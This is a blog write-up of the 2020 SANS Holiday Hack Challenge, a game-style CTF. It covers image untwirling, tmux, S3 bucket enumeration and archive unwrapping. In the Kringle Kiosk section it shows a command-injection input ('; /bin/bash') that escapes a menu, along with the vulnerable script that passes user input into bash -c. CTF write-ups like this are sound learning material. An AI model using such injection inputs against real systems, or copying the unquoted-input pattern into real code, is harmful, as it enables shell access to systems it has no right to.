
January 2020 was the first time I learnt about SANS Holiday Hack Challenge – yes, it took 10 years of its’ existence for the news to reach me via snail mail! Anyway, I was just two days away from the writeup deadline for Yr.2019 KringleCon2 so I did not have much time to participate and provide a writeup. Given the very short timeframe and the fact that I was still very new to CTFs, I did not do well in my first attempt, resolving only 4 of the 12 objectives and 4 tasks from a total of 12+. You can review my shameful 2019 KringleCon2 writeup here. From that experience, I decided to make a conscious effort and take part in the following SANS Holiday Hack Challenges.
Fast forward to today, KringleCon 3: French Hens takes part in the Santa’s castle situated in the North Pole. There are 12 objectives to complete and a couple of elves that need help with various challenges / tasks. If you help an elf along the way, they provide you with valuable hints to solve the main objectives. This being my second attempt, I am happy with the progress I made this time round. I did not finish all tasks, mostly due to procrastination and lack of time, but I resolved most of them. For those that I am yet to resolve, I plan on finishing in due course. This writeup covers how I went about resolving each task and objective.
Table of Contents
- Staging Area
- Castle Approach Area
- Entry Area
- Conversation with Sparkle Redberry
- Conversation with Santa
- Conversation with Ginger Breddie and Piney Sappington
- Courtyard
- Conversation with Bubble Ligtington & Jack Frost
- Conversation with Sugarplum Mary
- Task 3: Linux Primer
- Objective 3: Point-of-Sale Password Recovery
- Dining Room
- Conversation with Ribb Bonbowford
- Task 4: The Elf Code
- Great Room
- Conversation with Angel Candysalt
- Kitchen
- Conversation with Fitzy Shortstack
- Task 5: 33.6 Kbps
- Conversation with Holly Evergreen
- Task 6: Redis Bug Hunt
- Santavator – Floor 2
- Talks Lobby
- Conversation with Chimney Scissorsticks
- Task 7: Greeting Cards
- Conversation with Bow Ninecandle & Jack Frost
- Conversation with Bushy Evergreen
- Task 8: Speaker Unprep [Incomplete]
- Speaker UNPreparedness Room
- Conversation with Morcel Nougat
- Conversation with Tangle Coalbox
- Task 9: Snowball Game [TBD]
- Santavator – Floor 1 1/2
- WorkShop
- Conversation with Minty Candycane
- Task 10: Sort-O-Matic
- Wrapping Room
- Conversation with Noel Boetie
- Task 11: Tag-Generator [TBD]
- Return to the Workshop
- Teleport Area
- Return to the Great Room
- Netwars
- Conversation with Alabaster Snowball
- Task 12: Scapy PrepperConversation with Jack Frost
- Conversation with Wunrose Openslae
- Task 13: CAN-BUS Investigation
- Objective 7: Solve the Sleigh’s CAN-D-BUS Problem
- Objective 8: Broken Tag Generator [TBD]
- Objective 9: ARP Shenanigans [TBD]
- Santavator – Santa’s Office
- Santa’s Office
- Summary
Staging Area
Here I am, just about to board the gondola to Santa’s castle.
Conversation with Jingle Ringford
Elf Jingle Ringford
gives me the following instructions:
- Review the welcome video about the con Welcome Tips from Ed Skoudis
- Figure out what is written on the advertisement board
- Read the gift list at the center
- A tool may come in handy
Objective 1: Uncover Santa’s Gift List
The Objective of this challenge is to uncover Santa’s Gift List that appears on the billboard.
The hint for this task directs us to the tool PhotoPea with the instructions Make sure you Lasso the correct twirly area.
I walk over to the billboard and although I see there is a note on the desk.
I was able to download the billboard, however I am only able to see the first and the last items in the gift list.
The hint does point us towards using the Lasso selection within the PhotoPea tool. I attempted that but got nowhere as I was not sure what to do after performing the lasso selection.
My Solution
After several attempts with the photopea tool, I turned to other tools. First, I used the macbook preview tool to perform a lasso selection of the gift list only.
Once the selection was done, I then used Linux’s Imagemagick commandline tool to untwirl the image. This did take a couple of attempts to get the appropraite degrees.
The command syntax that I used and the images obtained are shown below. The -swirl degrees
rotates the image about the center depending on the degrees you specified. This value can be a positive or negative depending on the direction you would like to rotate the image.
$ convert objective1_3.png -swirl -300 obj_sol-1
$ convert objective1_3.png -swirl -360 obj_sol-2
$ convert objective1_3.png -swirl -320 obj_sol-3
From the attempts above, I was able to make out the following list. As seen below, no matter how many swirls I did, the second name Evan(??) and Brian’s gift Lagi(??) remained unclear to me.
My Personal Gift List:
ed – Two Front Teeth
an??) – OU Jersey
Jeremy – Blanket
Brian – (Lagi??)
Josh Wright – Proxmark
Clay – Darth Vader Suit
Tad – Holiday Lights
Phil – Stuffed Pikachu
Jerry – Trip to North Pole
Santa is planning to get Josh Wright a Proxmark for Christmas!
Castle Approach Area
After solving the first objective, I got onto the gondola and alighted at Exit 19. This is the Castle Approach
Area.
Conversation with Jewel Loggins
My first converastion in this area is with Elf Jewel Loggins
who advises me to:
- Help elves solve their challenges and they will provide hints to solving the objectives
- If you see odd things lying around, walk over to them and pick them up. There is one as you approach the castle.
I decide to first locate the object that Jewel Loggings
was referring to. I walked towards the castle and sure enough picked up a Broken Candy cane from the floor.

Conversation with Santa and the 3 French Hens: Pierre Marie & Jean-Claude
Next, I walked up to Santa. He welcomes me to the North Pole and mentions that there was a huge construction but they are almost done.
The first French hen Pierre
greeted me with Bonjur
.
The second French Hen Marie
mentioned Joyeuses fetes!
and the last French Hen Jean Claude
simply said Jacques DuGivre
.
Conversation with Pepper Minstix
My last stop at the Castle Approach
area is with Elf Pepper Minstix
. He mentioned the following:
- He has been having an issue with the tmux which detaches him from his session
- He would like help getting back to where he was admiting the beautiful bird
- There is a handy Tmux CheatSheet
Task 1: Unescape Tmux
Can you help me?
I was playing with my birdie (she's a Green Cheek!) in something called tmux,
then I did something and it disappeared!
Can you help me find her? We were so attached!!
elf@eb278b3de323:~$
From the hints given, the elf was using tmux
and got detached
. We therefore need to find the session and attach
it back.
To find the session, we use the following command
elf@9f67712c6bac:~$ tmux ls
0: 1 windows (created Mon Jan 4 09:16:03 2021) [80x24]
Now that we know the session id is 0
, we can attach to it using the command below.
elf@9f67712c6bac:~$ tmux attach-session -t 0
Once attached, we see the beautful bird
I returned to Pepper Minstix
to see whether he would offer any advise to me.
- There is a Santavator that moves people from floow to floor but it’s wonky
- I’ll need a key and other objects.
Sparkle Redberry
can help with the key- Wander around the castle and see if you can find the odd objects on the floor
- Once you have a few objects, try use them to split, redirect and colour the Santavator sparkle stream (s4)
- You need to power the red, green and yellow with the right colour light
A hint is unlocked.
And off, I go wandering into the castle.
Conversation with Shiny Upatree
The next Elf I walk to is Shiny Upatree
and he asks me to:
- Checkout the Kringle Kiosk. It has the map of the castle, location of the elves and your own badge printed on the screen
- Careful with the last one, it is ingestible
- Check to see if there is an issue
Task 2: Kringle Kiosk
Upon logging into the KringleCon Kiosk
am thrown into a terminal.
There are 5 options to choose from. I chose to explore all and saved some important details that I thought might come in handy.
The First option gives us the map of the Castle.
Welcome to our castle, we're so glad to have you with us!
Come and browse the kiosk; though our app's a bit suspicious.
Poke around, try running bash, please try to come discover,
Need our devs who made our app pull/patch to help recover?
Escape the menu by launching /bin/bash
Press enter to continue...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the North Pole!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Map
2. Code of Conduct and Terms of Use
3. Directory
4. Print Name Badge
5. Exit
Please select an item from the menu by entering a single number.
Anything else might have ... unintended consequences.
Enter choice [1 - 5] 1
__ _ --------------
|__)_ _ (_ | NetWars Room |
| \(_)(_)| | |
| * |
--------------
__ __ __ __
_)|_ _)|_ -------
/__| Tracks __)| |Balcony|
1 2 3 4 5 6 7 -------
------- ------------- |
|Speaker|--| Talks Lobby | --------
|Unprep | | | |Santa's |
------- ------ | |Office |
| | -- --
| *| | |
------ | ---
| * |
__ ------
/||_
|| __ __ --------
-------------------------- /| |_ |_ |Wrapping|
| Courtyard | |.__)| | Room |
-------------------------- --------
| | |
------ -------- ------ --- --------
|Dining|--|Kitchen |--|Great | |--|Workshop|
| | -------- | | | | |
| Room |--| * |--| Room | | | |
Option 2 simply provides us with the Code of Conduct as seen in the Holiday Hack Challenge webpage.
Option 3 provides us with the Directory
Enter choice [1 - 5] 3
Name: Floor: Room:
Ribb Bonbowford 1 Dining Room
Noel Boetie 1 Wrapping Room
Ginger Breddie 1 Castle Entry
Minty Candycane 1.5 Workshop
Angel Candysalt 1 Great Room
Tangle Coalbox 1 Speaker UNPreparedness
Bushy Evergreen 2 Talks Lobby
Holly Evergreen 1 Kitchen
Bubble Lightington 1 Courtyard
Jewel Loggins Front Lawn
Sugarplum Mary 1 Courtyard
Pepper Minstix Front Lawn
Bow Ninecandle 2 Talks Lobby
Morcel Nougat 2 Speaker UNPreparedness
Wunorse Openslae R NetWars Room
Sparkle Redberry 1 Castle Entry
Jingle Ringford NJTP
Piney Sappington 1 Castle Entry
Chimney Scissorsticks 2 Talks Lobby
Fitzy Shortstack 1 Kitchen
Alabaster Snowball R NetWars Room
Eve Snowshoes 3 Santa's Balcony
Shinny Upatree Front Lawn
Tinsel Upatree 3 Santa's Office
Press [Enter] key to continue...
Option 4 gives printed out my name on a badge
Enter choice [1 - 5] 4
Enter your name (Please avoid special characters, they cause some weird errors)...CyberSec
Faith
_______________
---------------
\
\ \_\_ _/_/
\ \__/
(oo)\_______
(__)\ )\/\
||----w |
|| ||
Press [Enter] key to continue...
The output hints towards other options causing unintended output. I tried a couple of keyboard options but all those simply gave an Error...
output.
Lucky for me, I had unlocked a hint for the game. The hint directs us to a command injection vulnerability in the terminal.
My Solution
Since this is a linux terminal, Command injection normally happens via chaining commands using special characters like ;
, |
, &
, ||
, &&
, etc, redirecting input and output. The most prevalent way of escaping a shell that I have come across is using the ;
. For that reason, I played around with this specific character, passing the /bin/bash
after it to run it.
It is important to note the hints from the narative. This one triggered me to use the ;
.
> Come and browse the kiosk; though our app’s a bit suspicious.
This particular one prompted me to try the different menus. > Poke around, try running bash, please try to come discover,
In my final attempt when trying menu 4
, I noted the narrative below which triggered me to input a special character and my preferred command instead of my name!
> Please avoid special characters, they cause some weird errors)…
Passing the command ; /bin/bash
helped me successfully escape the shell.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the North Pole!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Map
2. Code of Conduct and Terms of Use
3. Directory
4. Print Name Badge
5. Exit
Please select an item from the menu by entering a single number.
Anything else might have ... unintended consequences.
Enter choice [1 - 5] 4
Enter your name (Please avoid special characters, they cause some weird errors)...; /bin/b
ash
_______________________
-----------------------
\
\ \_\_ _/_/
\ \__/
(oo)\_______
(__)\ )\/\
||----w |
|| ||
___ _
/ __| _ _ __ __ ___ ___ ___ | |
\__ \ | +| | / _| / _| / -_) (_-< (_-< |_|
|___/ \_,_| \__|_ \__|_ \___| /__/_ /__/_ _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ |
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Type 'exit' to return to the menu.
shinny@06b10047c072:~$
After escaping the shell, I checked around to see whether there was something interesting in the terminal. Just found the welcome.sh
script whose contents are below.
shinny@8ad6e74b9b70:~$ ls -l
total 4
-rwxr-xr-x 1 root root 2528 Dec 6 12:24 welcome.sh
shinny@8ad6e74b9b70:~$ cat welcome.sh
#!/bin/bash
declare -x LAST_ORDER
LAST_ORDER=''
# https://bash.cyberciti.biz/guide/Menu_driven_scripts
# A menu driven shell script sample template
## ----------------------------------
# Step #1: Define variables
# ----------------------------------
RED='\033[0;41;30m'
STD='\033[0;0;39m'
# ----------------------------------
# Step #2: User defined function
# ----------------------------------
pause() {
read -r -p "Press [Enter] key to continue..." fackEnterKey
}
one() {
cat /opt/castlemap.txt
pause
}
two() {
more /opt/coc.md
pause
}
three() {
cat /opt/directory.txt
pause
}
four() {
read -r -p "Enter your name (Please avoid special characters, they cause some weird erro
rs)..." name
if [ -z "$name" ]; then
name="Santa\'s Little Helper"
fi
bash -c "/usr/games/cowsay -f /opt/reindeer.cow $name"
pause
}
surprise(){
cat /opt/plant.txt
echo "Sleeping for 10 seconds.." && sleep 10
}
# function to display menus
show_menus() {
shinny@229d175824e1:~$
After helping Shiny Upatree
, I went back to the Elf for some tips on solving my next objective. The Elf provided me with the following information:
- They’ve been having an issue with the S3 bucket. Need to Find Santa’s package file
- We need to find the leaky s3 bucket
- Digininja has a great guide for s3 searching. He also released a tool for the task that can help us.
- The package wrapper Santa used is reversible
Objective 2: Investigate S3 Bucket
The objective of this challenge is to find the text string within the wrapped package.
> When you unwrap the over-wrapped file, what text string is inside the package? Talk to Shinny Upatree in front of the castle for hints on this challenge.
After clicking on the terminal, the following view is presented
We need to accomplish the below task. > Can you find the missing package, and unwrap it all the way?
From the hints, we are to use the file
command to identify a file type and search all man
pages for a string such as
a file extension using the apropos
command.
Hints
For this challenge, 5 hints have been unlocked for us.
- Joshua Wright’s YouTube Talk
- Leaky AWS S3 Bucket
- Finding S3 Buckets
- Santa’s Wrapper3000
- Bucket_finder.rb Tool
Analysis
Let’s verify the contents in the path. We are also interetsde in seeing whether or not there are hidden files.
elf@994996451d13:~$ ls -laRht
.:
total 28K
drwxr-xr-x 1 elf elf 4.0K Dec 14 13:36 .
drwxr-xr-x 1 elf elf 4.0K Dec 14 13:36 bucket_finder
drwxr-xr-x 1 root root 4.0K Dec 14 13:36 ..
-rwxr-xr-x 1 elf elf 90 Dec 5 00:00 .bashrc
-rw-r--r-- 1 elf elf 179 Dec 5 00:00 TIPS
-rw-r--r-- 1 elf elf 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 elf elf 807 Apr 18 2019 .profile
./bucket_finder:
total 28K
drwxr-xr-x 1 elf elf 4.0K Dec 14 13:36 .
drwxr-xr-x 1 elf elf 4.0K Dec 14 13:36 ..
-rwxr-xr-x 1 elf elf 7.5K Dec 14 13:36 bucket_finder.rb
-rw-r--r-- 1 elf elf 22 Dec 14 13:36 words
-rw-r--r-- 1 elf elf 2.5K Dec 5 00:00 README
-rw-r--r-- 1 elf elf 28 Dec 5 00:00 wordlist
The contents of TIPS
are listed below
elf@258230d863d1:~$ cat TIPS
# TIPS
- If you need an editor to create a file you can run nano (vim is also
available).
- Everything you need to solve this challenge is provided in this terminal
session.
elf@258230d863d1:~$
Checked the contents of the folder and there seems to be two wordlists – words
and wordlist
.
elf@258230d863d1:~/bucket_finder$ ls -laRht
.:
total 28K
drwxr-xr-x 1 elf elf 4.0K Dec 14 13:36 .
drwxr-xr-x 1 elf elf 4.0K Dec 14 13:36 ..
-rwxr-xr-x 1 elf elf 7.5K Dec 14 13:36 bucket_finder.rb
-rw-r--r-- 1 elf elf 22 Dec 14 13:36 words
-rw-r--r-- 1 elf elf 2.5K Dec 5 00:00 README
-rw-r--r-- 1 elf elf 28 Dec 5 00:00 wordlist
elf@258230d863d1:~/bucket_finder$ cat words
kringle3000
microsoft
elf@258230d863d1:~/bucket_finder$ cat wordlist
kringlecastle
wrapper
santa
Tried using the words
list. It appears that microsoft
is a private bucket whereas there is no bucket named kringlecon3000
.
elf@258230d863d1:~/bucket_finder$ ./bucket_finder.rb words
http://s3.amazonaws.com/kringle3000
Bucket does not exist: kringle3000
http://s3.amazonaws.com/microsoft
Bucket found but access denied: microsoft
Running the tool with the wordlist
list also shows that there are no public buckets.
elf@258230d863d1:~/bucket_finder$ ./bucket_finder.rb wordlist
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa
From the initial hints that we were given when we accessed the terminal. My understanding is that the bucket name we should search for is called Wrapper3000
.
> Can you help me? Santa has been experimenting with new wrapping technology, and > > we’ve run into a ribbon-curling nightmare! > > We store our essential data assets in the cloud, and what a joy it’s been! > > Except I don’t remember where, and the Wrapper3000 is on the fritz! > > Can you find the missing package, and unwrap it all the way? > > Hints: Use the file command to identify a file type. You can also examine > > tool help using the man command. Search all man pages for a string such as > > a file extension using the apropos command. > > To see this help again, run cat /etc/motd.
Let’s add Wrapper3000
and wrapper3000
that to the words
list using the nano
editor then rerun the tool.
elf@0fe11b86e641:~/bucket_finder$ nano words
elf@0fe11b86e641:~/bucket_finder$ cat words
kringle3000
microsoft
santa
Wrapper3000
wrapper3000
We see that Wrapper3000
does not exist, however, we found the bucket wrapper3000
and it is public.
elf@0fe11b86e641:~/bucket_finder$ ./bucket_finder.rb words
http://s3.amazonaws.com/kringle3000
Bucket does not exist: kringle3000
http://s3.amazonaws.com/microsoft
Bucket found but access denied: microsoft
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa
http://s3.amazonaws.com/Wrapper3000
Bucket does not exist: Wrapper3000
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
http://s3.amazonaws.com/wrapper3000/package
Now that we have found a public bucket, let’s download the contents of the bucket using the --download
option.
elf@0fe11b86e641:~/bucket_finder$ ./bucket_finder.rb words --download
http://s3.amazonaws.com/kringle3000
Bucket does not exist: kringle3000
http://s3.amazonaws.com/microsoft
Bucket found but access denied: microsoft
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa
http://s3.amazonaws.com/Wrapper3000
Bucket does not exist: Wrapper3000
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
http://s3.amazonaws.com/wrapper3000/package
The wrapper3000
folder contains a package
file. We investigate the file type using the file
command as the hint suggested. It is ASCII
text and thus should be readable.
elf@0fe11b86e641:~/bucket_finder$ ls -lah | grep -i wrapper
drwxr-xr-x 2 elf elf 4.0K Dec 16 10:35 wrapper3000
elf@0fe11b86e641:~/bucket_finder$ cd wrapper3000/
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ ls -lah
total 16K
drwxr-xr-x 2 elf elf 4.0K Dec 16 10:35 .
drwxr-xr-x 1 elf elf 4.0K Dec 16 10:35 ..
-rw-r--r-- 1 elf elf 829 Dec 16 10:35 package
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ file *
package: ASCII text, with very long lines
Looking at the output of the package
contents using the Linux command cat
, we see it is base64 encoded.
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ cat package
UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PVM9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2thZ2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA
I use the base64
command on Linux to decode the contents of the file and save them to original_pkg
. The file type seems to be a PK
file.
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ base64 -d package > original_pkg
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ ls
original_pkg package
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ cat original_pkg
PK
??�� package.txt.Z.xz.xxd.tar.bz2UT ��_��_ux
�BZh91AY&SY�Kb�����d���/ ��^0Y
�a�{S�3�4zC ښ �=C�?���#��h=M4!&&�y@h4m#��P4z�Hhz��6a��5@9�#<
\�P��/Cbk��y�� O�t<
h)[�sR)�/���Ӄ?�b�sEl�5���f�KH6��ܘ� .�<�y��{�-���^h�" ��ݮƇQ'�́s�&ֶsj 10�@+��K
���Z���x�/=g��y�(�²NF�;�E�b&�r�&C�݁���+�� ��F�"�4�G$Z����V8'��@���.�p�!���~PK
??�� ?��package.txt.Z.xz.xxd.tar.bz2UT��_ux
�PKb�
Now that we have the file original_pkg
, we can check what type of file it is using the file
command once again. We see that it is a zip archived file.
elf@0fe11b86e641:~/bucket_fin
der/wrapper3000$ file original_pkg
original_pkg: Zip archive data, at least v1.0 to extract
We need to find the way to unwrap
that package. For that, let’s use the apropos
command to check the man pages for zip
.
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ apropos zip
bunzip2 (1) - a block-sorting file compressor, v1.0.6
bzcmp (1) - compare bzip2 compressed files
bzdiff (1) - compare bzip2 compressed files
bzegrep (1) - search possibly bzip2 compressed files for a regular expression
bzfgrep (1) - search possibly bzip2 compressed files for a regular expression
bzgrep (1) - search possibly bzip2 compressed files for a regular expression
bzip2 (1) - a block-sorting file compressor, v1.0.6
bzip2recover (1) - recovers data from damaged bzip2 files
bzless (1) - file perusal filter for crt viewing of bzip2 compressed text
bzmore (1) - file perusal filter for crt viewing of bzip2 compressed text
funzip (1) - filter for extracting from a ZIP archive in a pipe
p7zip (1) - Wrapper on 7-Zip file archiver with high compression ratio
unzip (1) - list, test and extract compressed files in a ZIP archive
unzipsfx (1) - self-extracting stub for prepending to ZIP archives
zip (1) - package and compress (archive) files
zipcloak (1) - encrypt entries in a zipfile
zipgrep (1) - search files in a ZIP archive for lines matching a pattern
zipinfo (1) - list detailed information about a ZIP archive
zipnote (1) - write the comments in zipfile to stdout, edit comments and renam...
zipsplit (1) - split a zipfile into smaller zipfiles
Since we want to extract the contexts of the file, we sill use the unzip
command. The man
pages can show us how to use this exactly.
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ man unzip
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ unzip original_pkg
Archive: original_pkg
extracting: package.txt.Z.xz.xxd.tar.bz2
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ ls -lah
total 24K
drwxr-xr-x 2 elf elf 4.0K Dec 16 11:00 .
drwxr-xr-x 1 elf elf 4.0K Dec 16 10:35 ..
-rw-r--r-- 1 elf elf 621 Dec 16 10:51 original_pkg
-rw-r--r-- 1 elf elf 829 Dec 16 10:35 package
-rw-r--r-- 1 elf elf 415 Dec 4 11:04 package.txt.Z.xz.xxd.tar.bz2
We get the file package.txt.Z.xz.xxd.tar.bz2
which also seems to be wrapped in a couple of extensions strating from .bz2
. We can repeat the above unwrap steps for each of the extensions using apropos
to find appropriate command, man
to verify syntax and file
to verify the file type.
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd.tar.bz2
package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block size = 900k
elf@0fe11b86e641:~/bucket_finder/wrapper3000$ apropos bz
bzcat (1) - decompresses files to stdout
bzcmp (1) - compare bzip2 compressed files
bzdiff (1) - compare bzip2 compressed files
bzegrep (1) - search possibly bzip2 compressed files for a regular expression
bzexe (1) - compress executable files in place
bzfgrep (1) - search possibly bzip2 compressed files for a regular expression
bzgrep (1) - search possibly bzip2 compressed files for a regular expression
bzip2 (1) - a block-sorting file compressor, v1.0.6
bzip2recover (1) - recovers data from damaged bzip2 files
bzless (1) - file perusal filter for crt viewing of bzip2 compressed text
bzmore (1) - file perusal filter for crt viewing of bzip2 compressed text
We can use the bzip2
command to decompress which saves the file as package.txt.Z.xz.xxd.tar
.
elf@f8eebce3b60f:~/bucket_finder/wrapper3000$ bzip2 -d package.txt.Z.xz.xxd.tar.bz2
elf@f8eebce3b60f:~/bucket_finder/wrapper3000$ ls -l
total 12
-rw-r--r-- 1 elf elf 621 Dec 16 15:25 original_pkg
-rw-r--r-- 1 elf elf 829 Dec 16 15:22 package
-rw-r--r-- 1 elf elf 2048 Dec 4 11:04 package.txt.Z.xz.xxd.tar
elf@f8eebce3b60f:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd.tar
package.txt.Z.xz.xxd.tar: POSIX tar archive
We now have a POSIX tar
archive. Let’s repeat the cycle. The next extension is the .tar
.
elf@f8eebce3b60f:~/bucket_finder/wrapper3000$ tar -xvf package.txt.Z.xz.xxd.tar
package.txt.Z.xz.xxd
elf@f8eebce3b60f:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd
package.txt.Z.xz.xxd: ASCII text
The -r
patches the dump into a binary.
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ xxd -r package.txt.Z.xz.xxd > package-xxd.xz
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ file package-xxd.xz
package-xxd.xz: XZ compressed data
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ cat package-xxd.xz
�7zXZ�ִF ! t/�,��N�ȡ��7l�� AMF 伙C'M�ل��E�
D��)��d��$E-RW���} YZ elf@b9c5ff29a4e
0:~/bucket_finder/wrapper3000$
elf@f8eebce3b60f:~/bucket_finder/wrapper3000$ apropos xz
lzcat (1) - Compress or decompress .xz and .lzma files
lzless (1) - view xz or lzma compressed (text) files
lzma (1) - Compress or decompress .xz and .lzma files
lzmore (1) - view xz or lzma compressed (text) files
unlzma (1) - Compress or decompress .xz and .lzma files
unxz (1) - Compress or decompress .xz and .lzma files
xz (1) - Compress or decompress .xz and .lzma files
xzcat (1) - Compress or decompress .xz and .lzma files
xzcmp (1) - compare compressed files
xzdiff (1) - compare compressed files
xzegrep (1) - search compressed files for a regular expression
xzfgrep (1) - search compressed files for a regular expression
xzgrep (1) - search compressed files for a regular expression
xzless (1) - view xz or lzma compressed (text) files
xzmore (1) - view xz or lzma compressed (text) files
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ unxz package-xxd.xz
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ ls -l
total 20
-rw-r--r-- 1 elf elf 621 Dec 16 23:40 original_pkg
-rw-r--r-- 1 elf elf 829 Dec 16 23:39 package
-rw-r--r-- 1 elf elf 45 Dec 16 23:49 package-xxd
-rw-r--r-- 1 elf elf 468 Dec 4 11:04 package.txt.Z.xz.xxd
-rw-r--r-- 1 elf elf 2048 Dec 4 11:04 package.txt.Z.xz.xxd.tar
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ cat package-xxd
��N�ȡ��7l�� AMF 伙C'M�ل��E�
D�elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ file pack
age-xxd
package-xxd: compress'd data 16 bits
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$
Added the correct extenstion to the file as the uncompress.real
command expects the .Z
extension to unwrap the file.
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ mv package-xxd package-xxd.Z
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ uncompress.real package-xxd.Z
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ ls
original_pkg package package-xxd package.txt.Z.xz.xxd package.txt.Z.xz.xxd.tar
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ file package-xxd
package-xxd: ASCII text
elf@b9c5ff29a4e0:~/bucket_finder/wrapper3000$ cat package-xxd
North Pole: The Frostiest Place on Earth
Finally, we have the plaintext North Pole: The Frostiest Place on Earth
Entry Area
The first thing I notice when I arrive at the Entry Area
is the object on the floor. Since Pepper Minstix
mentioned I should be on the lookout and collect them, I walk up and pick the object up.
It turns out to be an unremarkable, stainless steel, Hex Nut
.
Conversation with Sparkle Redberry
I then stop to talk with Sparkle Redberry
to see if I can get clues about the key from him.
Sparkle Redberry
hands me the key and the following instructions:
- With the key, you can look under the panel of the Santavator and and see the Super Santavator Sparkle Stream (S4)
- To get to different floors, you need to power the different colour recievers
- There may be a way to bypass the S4 stream
Conversation with Santa
I then walk over to Santa
. Santa mentions the following.
- Check out the potrait behind him
- Sent by an anonymous admirer during house warming
- He wonders who sent it.
I try to check for the Metadata but see no sender details.
$ exif --list santa_portrait.jpeg
EXIF tags in 'santa_portrait.jpeg' ('Intel' byte order):
--------------------+----------------------------------------------------------
Tag |Value
--------------------+----------------------------------------------------------
X-Resolution |72
Y-Resolution |72
Resolution Unit |Inch
Exif Version |Exif Version 2.1
FlashPixVersion |FlashPix Version 1.0
Colour Space |Uncalibrated
--------------------+----------------------------------------------------------
Used strings
, no luck!
$ strings -20 santa_portrait.jpeg
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
Tried ImageMagick
, also nothing of value.
$ identify -verbose santa_portrait.jpeg
Image:
Filename: santa_portrait.jpeg
Format: JPEG (Joint Photographic Experts Group JFIF format)
Mime type: image/jpeg
Class: DirectClass
Geometry: 3447x4648+0+0
Units: Undefined
Colorspace: sRGB
Type: TrueColor
Base type: Undefined
Endianness: Undefined
Depth: 8-bit
Channel depth:
red: 8-bit
green: 8-bit
blue: 8-bit
Channel statistics:
Pixels: 16021656
Red:
min: 0 (0)
max: 248 (0.972549)
mean: 126.938 (0.497796)
standard deviation: 45.9547 (0.180215)
kurtosis: 0.153982
skewness: -0.806114
entropy: 0.938763
Green:
min: 0 (0)
max: 234 (0.917647)
mean: 93.3293 (0.365997)
standard deviation: 54.5217 (0.213811)
kurtosis: -0.969827
skewness: 0.0389949
entropy: 0.974275
Blue:
min: 0 (0)
max: 234 (0.917647)
mean: 81.0712 (0.317926)
standard deviation: 53.6683 (0.210464)
kurtosis: -0.196682
skewness: 0.797934
entropy: 0.951423
Image statistics:
Overall:
min: 0 (0)
